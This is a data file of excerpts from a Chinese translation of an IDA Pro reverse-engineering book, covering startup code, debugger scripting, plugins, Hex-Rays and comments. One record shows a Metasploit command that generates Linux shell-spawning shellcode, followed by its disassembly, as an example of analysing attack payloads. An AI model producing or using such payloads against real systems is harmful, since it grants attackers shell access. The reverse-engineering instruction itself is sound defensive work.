    {"text": "IDA 的启动签名能够轻松确定最初调用 main 函数的位置，如下所示： .text:004012D8 mov eax, envp .text:004012DD mov dword_40ACF4, eax .text:004012E2 push eax ; envp .text:004012E3 push argv ; argv .text:004012E9 push argc ; argc .text:004012EF ➊ call _main .text:004012F4 add esp, 0Ch .text:004012F7 mov [ebp+var_1C], eax .text:004012FA cmp [ebp+var_20], 0 .text:004012FE jnz short $LN35 .text:00401300 push eax ; uExitCode .text:00401301 call $LN27 .text:00401306 $LN35: ; CODE XREF: ___tmainCRTStartup+169↓j .text:00401306 call __cexit .text:0040130B jmp short loc_40133B 在 tmainCRTStartup 的整个代码中， _main 是唯一一个使用 3 个参数调用的函数。"},
    {"text": ".text:00401041 ➊ push offset off_4090B8 .text:00401046 push 0 ; lpModuleName .text:00401048 call GetModuleHandleA .text:0040104D mov dword_409117, eax .text:00401052 push 0 ; fake return value .text:00401054 jmp __startup 压入到栈上的指针值（➊）引用了一个结构体，该结构体又包含一个指向 main 函数的指针。 在 __startup 中，调用 main 的设置如下所示： .text:00406997 mov edx, dword_40BBFC .text:0040699D ➍ push edx .text:0040699E mov ecx, dword_40BBF8 .text:004069A4 ➌ push ecx .text:004069A5 mov eax, dword_40BBF4 .text:004069AA ➋ push eax .text:004069AB ➊ call dword ptr [esi+18h] .text:004069AE add esp, 0Ch .text:004069B1 push eax ; status .text:004069B2 call _exit 同样，这个例子与前面的例子有许多相似之处：调用 main 函数（➊）时使用了 3 个参数➋、➌ 和➍（ __startup 中唯一一个如此调用的函数），返回值被直接传递给 _exit ，以终止程序。 进一步分析 __startup 后，我们发现，程序还调用了 Windows API 函数 GetEnvironmentSrtings 和 GetCommandLine ，这通常是调用 main 函数的先兆。 最后，为了证明跟踪程序的 main函数并不是C 程序特有的问题，我们以下面这个已编译的Visual Basic 6.0 程序的启动代码为例： .text:004018A4 start: .text:004018A4 ➊ push offset dword_401994 .text:004018A9 call ThunRTMain ThunRTMain 库函数的作用与 Linux libc_start_main 函数的作用类似，它在调用程序的 main 函数之前执行任何所需的初始化任务。"},
    {"text": "这个结构体的内容如下所示： .text:00401994 dword_401994 dd 21354256h, 2A1FF0h, 3 dup(0);DATA XREF:.text:start ↑ o .text:004019A8 dd 7Eh, 2 dup(0) .text:004019B4 dd 0A0000h, 409h, 0 .text:004019C0 ➊ dd offset sub_4045D0 .text:004019C4 dd offset dword_401A1C .text:004019C8 dd 30F012h, 0FFFFFF00h, 8, 2 dup(1), 0E9h,401944h, 4018ECh .text:004019C8 dd 4018B0h, 78h, 7Dh, 82h, 83h, 4 dup(0) 在这个数据结构中，只有一项（➊）引用了代码，它就是指向 sub_4045D0 的指针。"},
    {"text": "如果你遇到困难，你可以利用构建你所分析的二进制文件所使用的工具，构建一些简单的可执行文件（例如，引用 main 函数中的一个易于识别的字符串）。 通过分析这些简单的文件，你将逐步了解使用一组特定的工具构建的二进制文件的基本结构，并利用这些知识，进一步分析使用同一组工具构建的更加复杂的二进制文件。"},
    {"text": "未知 24.4 调试器任务自动化 在第15 章～第 19 章中，我们讨论了 IDA 脚本和IDA SDK的基础知识，并说明了这些功能在静态分析二进制文件时的作用。"},
    {"text": "当你启动一个进程，并且在调试器这样更加动态的环境中工作时，脚本和插件仍然能够发挥重要的作用。 脚本和插件的自动化应用包括：在调试进程时分析运行时数据，执行复杂的断点条件，采取措施破坏反调试技巧。"},
    {"text": "内存访问功能由 DbgByte 、 PatchDbgByte 、 DbgWord 、 PatchDbgWord 、 DbgDword 和 PatchDbgDword 函数提供（类似于第15 章中描述的 Byte 、 Word 、 Dword 和 PatchXXX 函数）。"},
    {"text": "下面的脚本说明如何在当前光标位置安装一个自定义的 IDC 断点处理函数： #include /* * The following should return 1 to break, and 0 to continue execution. */ static my_breakpoint_condition() { return AskYN(1, \"my_breakpoint_condition activated, break now?\") == 1; } /* * This function is required to register my_breakpoint_condition * as a breakpoint conditional expression */ static main() { auto addr; addr = ScreenEA(); AddBpt(addr); SetBptCnd(addr, \"my_breakpoint_condition()\"); } my_breakpoint_condition 的复杂程度完全由你自己决定。"},
    {"text": "你应该测试 GetDebuggerEvent 的返回值，以确保某个 GetEventXXX 函数可用。 为了获取调试器的事件代码，在每一个使进程执行的函数返回后，必须调用 GetDebugger- Event 。"},
    {"text": "例如，下面的代码只会单步执行调试器一次，因为它没有在两次调用 StepOver 之间调用 GetDebuggerEvent ，以清除上一个事件类型。 StepOver(); StepOver(); //this and all subsequent calls will fail StepOver(); StepOver(); 正确的执行方法是在每次调用 StepOver 之后调用一次 GetDebuggerEvent ，如下所示： StepOver(); GetDebuggerEvent(WFNE_SUSP, -1); StepOver(); GetDebuggerEvent(WFNE_SUSP, -1); StepOver(); GetDebuggerEvent(WFNE_SUSP, -1); StepOver(); GetDebuggerEvent(WFNE_SUSP, -1); 调用 GetDebuggerEvent 后，即使你选择忽略 GetDebuggerEvent 的返回值，执行仍将继续。"},
    {"text": "但是，通过在调用 GetDebugger-Event 时使用 WFNE_CONT 标志，我们可以达到相同的目的，如下所示： 1. 实际上有一个定义为 GetDebuggerEvent(WFNE_CONT|WFNE_NOWAIT，O) 的宏 Resume Process 。 GetDebuggerEvent(WFNE_SUSP | WFNE_CONT, -1); 这个特殊的调用通过继续由当前指令位置执行进程，等待初步恢复执行后的下一个可用的挂起事件。"},
    {"text": "下面是一个简单的调试器脚本，通过它可以收集与被提取的指令的地址有关的统计信息（假如调试器已经启用），如下所示： static main() { auto ca, code, addr, count, idx; ➊ ca = GetArrayId(\"stats\"); if (ca != -1) { DeleteArray(ca); } ca = CreateArray(\"stats\"); ➋ EnableTracing(TRACE_STEP, 1); ➌ for (code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1); code > 0 code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1)) { ➍ addr = GetEventEa(); ➎ count = GetArrayElement(AR_LONG, ca, addr) + 1; ➏ SetArrayLong(ca, addr, count); } EnableTracing(TRACE_STEP, 0); ➐ for (idx = GetFirstIndex(AR_LONG, ca); idx != BADADDR; idx = GetNextIndex(AR_LONG, ca, idx)) { count = GetArrayElement(AR_LONG, ca, idx); Message(\"%x: %d\\n\", idx, count); } ➑ DeleteArray(ca); } 这个脚本首先测试一个名为 stats 的全局数组是否存在（➊ ）。"},
    {"text": "每次生成一个调试事件，将获取相关事件的地址（➍ ），相关地址的当前总数从全局数组中获取，并不断递增（➎ ），该数组将根据新的总数更新（➏）。"},
    {"text": "这个脚本的示例输出如下所示： 401028: 1 40102b: 1 40102e: 2 401031: 2 401034: 2 401036: 1 40103b: 1 稍作修改后，前面的例子可用于收集有关指令类型的统计信息，即在一个进程执行过程中，有哪些类型的指令被执行。"},
    {"text": "下面的例子说明如何对第一个循环进行必要的修改，以收集指令类型数据（而非地址数据）： for (code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1); code > 0; code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, -1)) { addr = GetEventEa(); ➊ mnem = GetMnem(addr); ➋ count = GetHashLong(ht, mnem) + 1; ➌ SetHashLong(ht, mnem, count); } 我们并没有对各个操作码分类，而是选择按助记符将指令分组（➊）。"},
    {"text": "由于助记符是字符串，所以我们利用全局数组的散列表特性获取与一个给定助记符有关的当前总数（➋），并将更新后的总数（➌）保存到对应的散列表条目中。"},
    {"text": "这个修改后的脚本的样本输出如下所示： add: 18 and: 2 call: 46 cmp: 16 dec: 1 imul: 2 jge: 2 jmp: 5 jnz: 7 js: 1 jz: 5 lea: 4 mov: 56 pop: 25 push: 59 retn: 19 sar: 2 setnz: 3 test: 3 xor: 7 在第25 章中，我们将讨论如何利用调试器的迭代功能对二进制文件进行去模糊处理。"},
    {"text": "24.4.2 使用IDA 插件实现调试器操作自动化 在第16 章中，我们了解到，IDA 的SDK 提供了非常强大的功能，用于开发各种复杂的编译扩展，这些扩展可以与 IDA 集成，并能够访问全部 IDA API 。"},
    {"text": "API 的调试器扩展在<SDKDIR>/dbg.hpp 文件中声明，其中包含与我们迄今为止所讨论的 IDC 函数对应的C++ 函数，以及全面的异步调试器接口功能。"},
    {"text": "我们使用插件的 init 和 term 方法完成这个任务，如下所示： //A netnode to gather stats into ➊ netnode stats(\"$ stats\", 0, true); int idaapi init(void) { hook_to_notification_point(HT_DBG, dbg_hook, NULL); return PLUGIN_KEEP; } void idaapi term(void) { unhook_from_notification_point(HT_DBG, dbg_hook, NULL); } 注意，我们还声明了一个全局网络节点（➊），用来收集统计信息。"},
    {"text": "示例插件的 run 函数如下所示： void idaapi run(int arg) { stats.altdel(); //clear any existing stats ➊ request_enable_step_trace(); ➋ request_step_until_ret(); ➌ run_requests(); } 在这个例子中，由于我们使用的是异步技巧，首先我们必须提供一个请求，启动单步跟踪（➊ ），然后提交一个请求恢复被调试的进程。"},
    {"text": "为了简化，我们仅收集与当前函数有关的统计信息，因此我们将提出一个请求，要求运行进程，直到当前函数返回（➋）对请求正确排序后，我们调用 run_requests 处理当前请求的队列（➌），开始运行这个插件。"},
    {"text": "下面是一个仅处理两条消息的简单回调函数： int idaapi dbg_hook(void *user_data, int notification_code, va_list va) { switch (notification_code) { ➊ case dbg_trace: //notification arguments are detailed in dbg.hpp va_arg(va, thid_t); ➋ ea_t ea = va_arg(va, ea_t); //increment the count for this address ➌ stats.altset(ea, stats.altval(ea) + 1); return 0; ➍ case dbg_step_until_ret: //print results ➎ for (nodeidx_t i = stats.alt1st(); i != BADNODE; i = stats.altnxt(i)) { msg(\"%x: %d\\n\", i, stats.altval(i)); } //delete the netnode and stop tracing ➏ stats.kill(); ➐ request_disable_step_trace(); ➑ run_requests(); break; } } 对于执行的每一条指令，我们将收到 dbg_trace 通知（➊ ），直到我们关闭跟踪。"},
    {"text": "和我们在前几章中讨论的许多 SDK 函数一样，与调试器有关的函数名称通常与相关的脚本函数名称并不匹配，因此，你可能需要花一些时间搜索 dbg.hpp文件，查找你需要的函数。 脚本函数与SDK在名称上的最大差异表现在 SDK 的 GetDebuggerEvent 函数上，在 SDK 中，它叫做 wait_for_ next_event 。 脚本函数与 SDK 的另一个主要差异在于 SDK 并不为你自动声明与 CPU 寄存器对应的变量。"},
    {"text": "未知 2.3 深度检测工具 到目前为止，我们已经讨论了一些工具，利用这些工具，可以在对文件的内部结构知之甚少的情况下对文件进行粗略分析，也可以在深入了解文件的结构之后，从文件中提取出特定的信息。在这一节中，我们将介绍一些专用于从任何格式的文件中提取出特定信息的工具。 2.3.1 strings 有时候，提出一些与文件内容有关的常规性问题，即那些不需要了解文件结构即可回答的问题，对我们会有一定帮助。例如：“这个文件包含字符串吗？”当然，在回答这个问题之前，必须先回答另一个问题：“到底什么是字符串？”我们将字符串简单定义为由可打印字符组成的连续字符序列。通常，在这一定义的基础上，还需要指定一个最小长度和一个特定的字符集。因此，可以搜索至少包含 4 个连续可打印 ASCII 字符的字符串，并将结果在控制台打印出来。通常，搜索这类字符串不会受到文件结构的限制。在 ELF 二进制文件中搜索字符串就像在微软 Word文档中搜索字符串一样简单。 strings 实用工具专门用于提取文件中的字符串内容，通常，使用该工具不会受到文件格式的限制。使用 strings 的默认设置（至少包含4 个字符的7 位ASCII 序列），可得到以下结果。 idabook# strings ch2_example /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit srand puts time printf stderr fwrite scanf __libc_start_main GLIBC_2.0 PTRh [^_] usage: ch2_example [max] A simple guessing game! Please guess a number between 1 and %d. Invalid input, quitting! Congratulations, you got it in %d attempt(s)! Sorry too low, please try again Sorry too high, please try again 不过，我们发现，一些字符串看起来像程序输出，一些字符串则像函数名称或库名称。因此，绝不能仅仅根据这些字符串来断定程序的功能。分析人员往往会掉入陷阱，根据 strings 的输出来推断程序的功能。需要记住的是：二进制文件中包含某个字符串，并不表示该文件会以某种方式使用这个字符串。 下面是使用 strings 时的一些注意事项。 需要牢记的是，使用 strings 处理可执行文件时，默认情况下， strings 仅仅扫描文件中可加载的、经初始化的部分。使用命令行参数 –a 可强制 strings 扫描整个文件。 strings 不会指出字符串在文件中的位置。使用命令行参数 –t 可令 strings 显示所发现的每一个字符串的文件偏移量信息。 许多文件使用了其他字符集。使用命令行参数 –e 可使 strings 搜索更广泛的字符，如 16位Unicode字符。 2.3.2 反汇编器 前面介绍过，有很多工具都可以生成二进制目标文件的死代码清单形式的反汇编代码。PE、ELF 和MACH-O文件可分别使用 dumpbin 、 objdump 和 otool 进行反汇编。但是，它们中的任何一个都无法处理任意格式的二进制数据块。有时候，你会遇到一些并不采用常用文件格式的二进制文件，在这种情况下，你就需要一些能够从用户指定的偏移量开始反汇编过程的工具。 有两个用于 x86 指令集的 流式反汇编器 （stream disassembler）： ndisasm 和 diStorm 1 。 ndisasm 是Netwide Assembler（NASM ） 2 中的一个工具。下面的例子说明了如何使用 ndisasm 反汇编一段由Metasploit框架 3 生成的shellcode ： 1 参见 http://www.ragestorm.net/distorm/ 。 2 参见 http://nasm.sourceforge.net/ 。 3 参见 http://www.metasploit.com/ 。 idabook# ./msfpayload linux/x86/shell_findport CPORT=4444 R > fs idabook# ls -l fs -rw-r--r-- 1 ida ida 62 Dec 11 15:49 fs idabook# ndisasm -u fs 00000000 31D2 xor edx,edx 00000002 52 push edx 00000003 89E5 mov ebp,esp 00000005 6A07 push byte +0x7 00000007 5B pop ebx 00000008 6A10 push byte +0x10 0000000A 54 push esp 0000000B 55 push ebp 0000000C 52 push edx 0000000D 89E1 mov ecx,esp 0000000F FF01 inc dword [ecx] 00000011 6A66 push byte +0x66 00000013 58 pop eax 00000014 CD80 int 0x80 00000016 66817D02115C cmp word [ebp+0x2],0x5c11 0000001C 75F1 jnz 0xf 0000001E 5B pop ebx 0000001F 6A02 push byte +0x2 00000021 59 pop ecx 00000022 B03F mov al,0x3f 00000024 CD80 int 0x80 00000026 49 dec ecx 00000027 79F9 jns 0x22 00000029 52 push edx 0000002A 682F2F7368 push dword 0x68732f2f 0000002F 682F62696E push dword 0x6e69622f 00000034 89E3 mov ebx,esp 00000036 52 push edx 00000037 53 push ebx 00000038 89E1 mov ecx,esp 0000003A B00B mov al,0xb 0000003C CD80 int 0x80 由于流式反汇编非常灵活，因此它的用途相当广泛。例如，在分析网络数据包中可能包含shellcode 的计算机网络攻击时，就可以采用流式反汇编器来反汇编数据包中包含 shellcode 的部分，以分析恶意负载的行为。另外一种情况是分析那些不包含布局参考的 ROM镜像。ROM中有些部分是数据，其他部分则为代码，可以使用流式反汇编器来反汇编镜像中的代码。"},
    {"text": "未知 附录B IDC/SDK交叉引用 表B-1 将IDC 脚本函数与它们对应的 SDK 实现对应了起来。 本表旨在帮助熟悉IDC 的程序员了解如何使用 SDK 函数执行类似的操作。 你需要一个这样的表，是由于两个原因：1. IDC 函数与它们对应的 SDK 函数在名称上并不完全对应； 2. 有时候，一个 IDC 函数由几个SDK操作构成。"},
    {"text": "未知 4.6 报告bug 与其他软件一样，IDA 有时也包含bug。那么，如果你认为你在 IDA 中发现一个 bug，你期待Hex-Rays 如何反应呢？首先，Hex-Rays 拥有一个反应极其迅速的支持系统；其次，如果在提交支持请求的一天之内，你得到 Ilfak 的亲自回复，请不要感到惊奇。 可以通过两种方法提交报告：通过电子邮件地址 support@hex-rays.com 联系Hex-Rays 支持部门；如果不想使用电子邮件，还可以在 Hex-Rays 公告牌上的 Bug Reports 讨论中发布信息。无论采用哪一种方式，你都应该确认能够再现该bug，并准备好向 Hex-Rays 提供包含该 bug 的数据库文件。前面提到，Hex-Rays 提供的SDK 支持需要额外收费。对于与你安装的插件有关的 bug，可能需要联系插件的创建者。至于你正在开发的插件中存在的 bug，需要充分利用 IDA 用户支持论坛，并等待同行的积极响应。 未知 5.4 小结 初看起来，IDA 中似乎有太多的窗口。首先熟悉最主要的窗口，然后逐步了解其他窗口，是认识IDA 窗口的最简单方法。无论什么时候，你都没有义务利用IDA 的所有窗口，也并不是每一个窗口都可以为逆向工程任务提供帮助。 除了在本章中介绍的窗口外，在深入学习IDA 的过程中，你还会遇到大量对话框。在本书的剩余部分，我们将在必要时介绍一些主要的对话框。最后，除默认的反汇编视图图形外，这一章并未涉及其他图形。IDA 菜单系统将图形作为一种独立的显示，区别于本章讨论的子窗口，专门介绍图形的第9章将说明这样做的原因。 现在，你已经对IDA 的用户界面相当熟悉。在下一章中，我们将开始讨论各种操纵反汇编代码的方法，以增强你对其行为的了解，同时帮助你进一步熟悉IDA 的用法。 未知 23.4 ida-x86emu 逆向工程二进制文件往往需要手动跟踪代码，以了解函数的行为。因此，你需要全面了解你所分析的指令集，并拥有一份便捷的参考资料，以便在遇到不熟悉的指令时作为参考。这时，指令模拟器是一个有用的工具，可以帮助你跟踪在执行一系列指令的过程中，注册表和CPU状态的变化情况。我们在第21章详细讨论的ida-x86emu 插件（如表 23-4 所示）就是这样一个模拟器。 表23-4 ida-x86emu 插件 名称 ida-x86emu 作者 Chris Eagle 发布 源代码（适用于SDK v6）和二进制（适用于IDA5.0之后的所有版本，包括IDA 免费版本）。源代码格式向后兼容到SDK 4.9 价格 免费 描述 IDA的嵌入式x86 指令模拟器 信息 http://www.idabook.com/ida-x86emu/ 这个插件以源代码的方式发布，并且与 IDA SDK 4.6 及更高版本兼容。同时，该插件还自带构建脚本和项目文件，以便于在构建过程中使用 Windows 平台上的 MinGW工具或微软 Visual Studio 和非Windows 平台上的 g++ 。该插件的发行版提供一个供 IDA 免费版使用的预编译二进制版本。ida-x86emu 能够与所有基于 Qt的IDA 版本兼容，但是在 IDA 6.0 之前，该插件仅与 IDA的Windows GUI 版本兼容。 该插件在开发过程中考虑到了自修改代码，它从当前 IDA 数据库中读取指令字节，解码这些指令并执行相关的操作。相关操作包括更新模拟器的内部注册变量，遇到自修改代码时回写（back write）数据库。该插件通过分配新的 IDA 段并进行适当的读取和写入，执行一个模拟的堆和栈。有关使用 ida-x86emu 插件的详细信息，请参阅第 21 章。 未知 第二部分 IDA基本用法 本部分内容： 第4章 IDA入门 第5章 IDA数据显示窗口 第6章 反汇编导航 第7章 反汇编操作 第8章 数据类型与数据结构 第9章 交叉引用与绘图功能 第10章 IDA的多种面孔 未知 第2章 逆向与反汇编工具 了解反汇编的一些背景知识后，在深入学习IDA Pro 之前，介绍其他一些用于逆向工程二进制文件的工具，会对我们的学习有所帮助。这些工具大多在IDA 之前发布，并且仍然可用于快速分析二进制文件，以及审查IDA 的分析结果。如我们所见，IDA 将这些工具的诸多功能整合到它的用户界面中，为逆向工程提供了一个集成环境。最后，尽管IDA 确实包含一个集成调试器，但在这儿我们不会讨论这个主题，因为第24章~ 第26章会专门介绍这一主题。"},
    {"text": "初始屏幕消失后，IDA 将显示另一个对话框，为你进入桌面环境提供 3 种选项，如图 4-1 所示。 图4-1 启动 IDA 如果不希望看到欢迎信息，可以取消选中该对话框底部的Display at startup（启动时显示）复选框。"},
    {"text": "如果在某个时候，你希望再次使用欢迎对话框（毕竟，它可以方便地返回最近使用过的文件），你可以编辑IDA 的注册表项，将 DisplayWelcome 的值设为 1 即可。"},
    {"text": "最初这个历史记录列表的最大长度设为 10 ，但你可以编辑 idagui.cfg或idatui.cfg 文件中的相应项目，将这一限制升高到 100（参见第 11 章）。"},
    {"text": "IDA 会生成一个可能的文件类型列表，并在对话框顶部显示这个列表。 这个列表中将显示最适合处理选定文件的IDA 加载器。 IDA 通过执行 loaders 目录中的每一个文件加载器 3 ，来确定能够识别新文件的加载器，从而建立了这个列表。"},
    {"text": "Binary File（二进制文件）是这个列表中的最后一个选项，它会一直显示，因为它是 IDA 加载无法识别的文件的默认选项，它提供了最低级的文件加载方法。"},
    {"text": "这时，IDA 会提醒用户指定文件中的一个地址作为入口点，告诉 IDA 将这个地址的字节转换成代码（C 是用于强制 IDA 将字节作为代码处理的热键）。"},
    {"text": "未知 17.4 插件配置 通过<IDADIR>/plugins/plugins.cfg 文件中的设置，IDA 可以对插件进行有限的配置。plugins.cfg 中的设置可用于指定与插件有关的以下信息。 插件的一个备选菜单说明。这个值重写插件的 wanted_name 数据成员。 插件的一个非标准存储位置或文件扩展名。默认情况下，IDA 在<IDADIR>/plugins 目录中搜索插件，并期待插件拥有一个默认的、特定于平台的文件扩展名。 一个用于激活插件的备选的或额外的热键。这个值重写插件的 wanted_hotkey 数据成员。 一个整数值。每次激活插件时，向插件的 PLUGIN.run 函数传递这个值。 一个供调试器插件使用的可选 DEBUG 标志。第24 章将讨论调试器插件。 插件配置行的有效语法在 plugins.cfg 文件中描述。下面是插件配置行的几个例子： ; Semicolons introduce comments. A plugin configuration line consists ; of three required components and two optional components ; plugin_name plugin_file hotkey [integer run arg] [DEBUG] The_IdaBook_Plugin idabook_plugin Alt-F2 1 IdaBook_Plugin_Alt idabook_plugin Alt-F3 2 插件作者为插件选择 wanted_name 和 wanted_hotkey 数据成员，并将它们编译到插件中。两个由不同作者开发的插件极有可能使用完全相同的名称或热键。在 plugins.cfg 文件中， plugin_name 字段（它重写 PLUGIN.wanted_name ）指定添加到Edit ▶Plugins 菜单中的文本。你可以给一个插件分配几个名称，因而要分配几个菜单项。在将名称添加到 Edit ▶Plugins 菜单中之前，plugin_name 字段中的下划线字符将被空格字符替换。 plugin_file 字段指定已编译插件模块文件的名称，当前的配置行即应用于这个文件。如果指定一个完整路径，IDA 将从指定的路径加载这个插件。如果没有指定路径，IDA 将在<IDADIR>/plugins 目录中寻找插件。如果没有指定扩展名，则 IDA 会假定插件使用当前平台的默认扩展名。如果指定扩展名，则 IDA 会搜索与插件文件名完全匹配的插件。 hotkey 字段指定激活插件应使用的热键。这个字段重写 PLUGIN.wanted_hotkey ，可用于解决两个插件使用同一个激活热键所造成的热键分配冲突。另外，给一个插件分配几个热键时，你能以多种方式激活这个插件。这时，可以根据激活插件所使用的热键，为 PLUGIN.run 指定几个独特的整数参数。当你向 PLUGIN.run 提交不同的整数值时，IDA 可以让插件决定到底如何激活自己。如果一个插件实施好几种行为，且根据插件被激活的方式选择行为，就可以用到上述功能。在前面的配置示例中，只要插件通过 ALT+F3 热键组合激活，IDA 就向 idabook_plugin 的 PLUGIN.run 函数提交整数值 2。"},
    {"text": "未知 23.1 Hex-Rays Hex-Rays 可能是所有 IDA 插件的“始祖”，它是一个反编译器插件，能够为已编译的ARM或者32 位x86 二进制文件中的函数生成“类似 C 语言的伪代码” 1 。 Hex-Rays 是一个商业插件，由开发IDA 的公司创建和销售。"},
    {"text": "用户可以在线下载 2 一个有关 Hex-Rays 用法的手册，该手册提供 Hex-Rays 用法的详细概要，并且包含了一些用于创建反编译器插件的 Hex-Rays SDK 3 的文档。"},
    {"text": "1. 参见 http://www.hex-rays.com/decompiler.shtml 。 2. 参见 http://www.hex-rays.com/manual/ 。 3. 参见 http://www.hexblog.com/?p=107 。"},
    {"text": "安装完毕后，你可以通过 View▶Open Subviews▶Pseudocode （热键F5）激活这个反编译器，反编译包含光标的函数，或者使用 File▶Produce File▶Create C File（热键CTRL+F5）反编译数据库中的所有文件，并将它们保存到一个文件中。"},
    {"text": "代码清单 23-1 Hex-Kays输出示例 signed int __cdecl sub_80489B4(int fd) { int v1; // eax@1 signed int v2; // edx@1 char buf; // [sp+4h] [bp-208h]@2 char s; // [sp+104h] [bp-108h]@2 v1=sub_8048B44(fd,(int)\"Hans Brix ? Oh no ! Oh , herro . Great to see you again , Hans ! \" , 0 ); v2 = -1; if ( v1 != -1 ) { recv(fd, &buf, 0x100u, 0); snprintf(&s, 0x12Cu, \"Hans Brix says: \\\"%s\\\"\\n\", &buf); sub_8048B44(fd, (int)&s, 0); v2 = 0; } return v2; } 注意，虽然 Hex-Rays 对参数（ a1 、 a2 等）和局部变量（ v1 和 v2 ）使用的哑命名约定与 IDA中使用的约定略有不同，但是它们区分函数参数与局部变量的能力相同。"},
    {"text": "表23-1 Hex-Rays反编译器 名称 Hex-Rays反编译器 作者 Ilfak Guilfanov、Hex-Rays.com 发布 仅二进制 价格 2239美元 描述 由编译的ARM或32位x86 函数生成类似C 语言的伪代码 信息 http://www.hex-rays.com/decompiler.shtml Hex-Rays 利用IDA 采用的线索来推断数据类型。"},
    {"text": "打开伪代码窗口后，你就可以将它作为源代码编辑器和导航器使用。 在伪代码窗口中进行导航和编辑，与在标准的 IDA 反汇编窗口中进行导航和编辑非常相似。"},
    {"text": "signed int __cdecl sub_80489B4(int fd) { int length; // eax@1 signed int error; // edx@1 char buf[256]; // [sp+4h] [bp-208h]@2 char s[264]; // [sp+104h] [bp-108h]@2 length=write_string(fd,\"Hans Brix?Oh no!Oh,herro.Great to see you again, Hans!\",0); error = -1; if ( length != -1 ) { recv(fd, buf, 256u, 0); snprintf(s, 300u, \"Hans Brix says: \\\"%s\\\"\\n\", buf); write_string(fd, s, 0); error = 0; } return error; } 请记住，在编译过程中一些信息会丢失。"},
    {"text": "在阅读 Hex-Rays 伪代码的过程中，你认为自己看到的是基础汇编代码的可信表示形式，同时Ilfak 也尽其所能来确保 Hex-Rays 的准确性，但仍然存在一些特例，证明 Hex-Rays 有时会出问题。"},
    {"text": "最后，请注意，虽然Hex-Rays 可用于处理用C++ 代码编译的二进制文件，但它只能生成 C 代码，并且生成的代码缺乏任何特定于 C++ 代码的特性。"},
    {"text": "未知 第14章 修补二进制文件及其他IDA 限制 IDA 新用户及潜在用户最常问的一个问题是：“如何使用IDA 修补二进制文件？”这个问题的答案非常简单：“你无法做到。”IDA 的目标是提供最全面的反汇编代码清单，帮助你理解二进制文件的行为。IDA 并不能帮助你轻松修改你所分析的二进制文件。由于没有具体的答案，一些顽固的用户通常会继续提出以下问题：“那么Edit ▶Patch Program菜单有什么用呢？”“File▶Produce File▶Create EXE File 的作用又是什么？”本章将讨论这些明显的反常现象，同时，我们将让 IDA 帮助我们（至少在一定程度上）为二进制程序文件开发补丁程序。"},
    {"text": "在分析程序时，添加注释特别有用，因为它可帮助你随时掌握分析进程。 具体来说，注释有助于以一种更高级的方式描述汇编语言指令序列。 例如，你可以选择使用C语言语句添加注释，以总结某个特殊函数的行为。 在随后的函数分析过程中，这些注释有助于你迅速回忆起该函数的作用，而不需要重新分析汇编语言语句。"},
    {"text": "为帮助你理解IDA 的注释功能，我们下面以函数 bar 的反汇编代码为例： .text:00401050 ; =============== S U B R O U T I N E =============================== .text:00401050 .text:00401050 ➏; void bar(int j, int k); .text:00401050 ; Attributes: bp-based frame .text:00401050 .text:00401050 ➐bar proc near ; CODE XREF: demo_stackframe+2A‚p .text:00401050 .text:00401050 arg_0 = dword ptr 8 .text:00401050 arg_4 = dword ptr 0Ch .text:00401050 .text:00401050 push ebp .text:00401051 mov ebp, esp .text:00401053 sub esp, 8 .text:00401056 ➎The next three lines test j .text:00401056 mov eax, [ebp+arg_0] .text:00401059 cmp eax, [ebp+arg_4] .text:0040105C jge short loc_40106C ➌; Repeating comments get echoed at referencing locations .text:0040105E mov [esp], offset aTheSecondParam ➍; \"The second parameter is larger\" .text:00401065 call printf .text:0040106A jmp short locret_40108E ➊; jump to the end of the function .text:0040106C ; --------------------------------------------------------------------------- .text:0040106C .text:0040106C loc_40106C: ; CODE XREF: bar+C•j .text:0040106C mov eax, [ebp+arg_0] ➋; Repeating comments get echoed at referencing locations .text:0040106F cmp eax, [ebp+arg_4] .text:00401072 jle short loc_401082 .text:00401074 mov [esp], offset aTheFirstParame ❹; \"The first parameter is larger\" .text:0040107B call printf .text:00401080 jmp short locret_40108E .text:00401082 ; --------------------------------------------------------------------------- .text:00401082 .text:00401082 loc_401082: ; CODE XREF: bar+22•j .text:00401082 mov [esp], offset aTheParametersA ❹; \"the parameters are equal\" .text:00401089 call printf .text:0040108E .text:0040108E locret_40108E: ; CODE XREF: bar+1A•j .text:0040108E ; bar+30•j .text:0040108E leave .text:0040108F retn .text:0040108F bar end 绝大多数IDA 注释以分号为前缀，表示这一行分号以后的部分属于注释。"},
    {"text": "如果在一个显示可重复注释的位置添加一段常规注释，则可重复注释将被常规注释覆盖，该位置将仅显示常规注释。 如果在➌处输入一段常规注释，那么，从➋处继承得来的可重复注释将不再在➌处显示。 如果你删除➌处的常规注释，可重复注释将再次显示。 可重复注释的一种变体与字符串有关。 任何时候，如果IDA 自动创建一个字符串变量，字符串变量所在的位置都将添加一段虚拟的可重复注释。"},
    {"text": "虚拟注释的内容被设置为字符串变量的内容，并且会在整个数据库中显示，就像是一段可重复注释一样。 因此，任何引用字符串变量的位置都将以重复注释的形式显示字符串变量的内容。 标注为➍的3段注释证明，这类注释是因为引用了字符串变量才显示的。"},
    {"text": "7.2.3 在前注释和在后注释 在前注释 和 在后注释 是出现在指定的反汇编行之前或之后的全行注释，它们是IDA 中仅有的不以分号为前缀的注释。"},
    {"text": "前面代码段中➏处显示的注释即为函数注释，其中也包含函数原型。 要输入函数注释，首先应突出显示函数顶部的函数名称（➐），然后再输入一段常规注释或可重复注释。"},
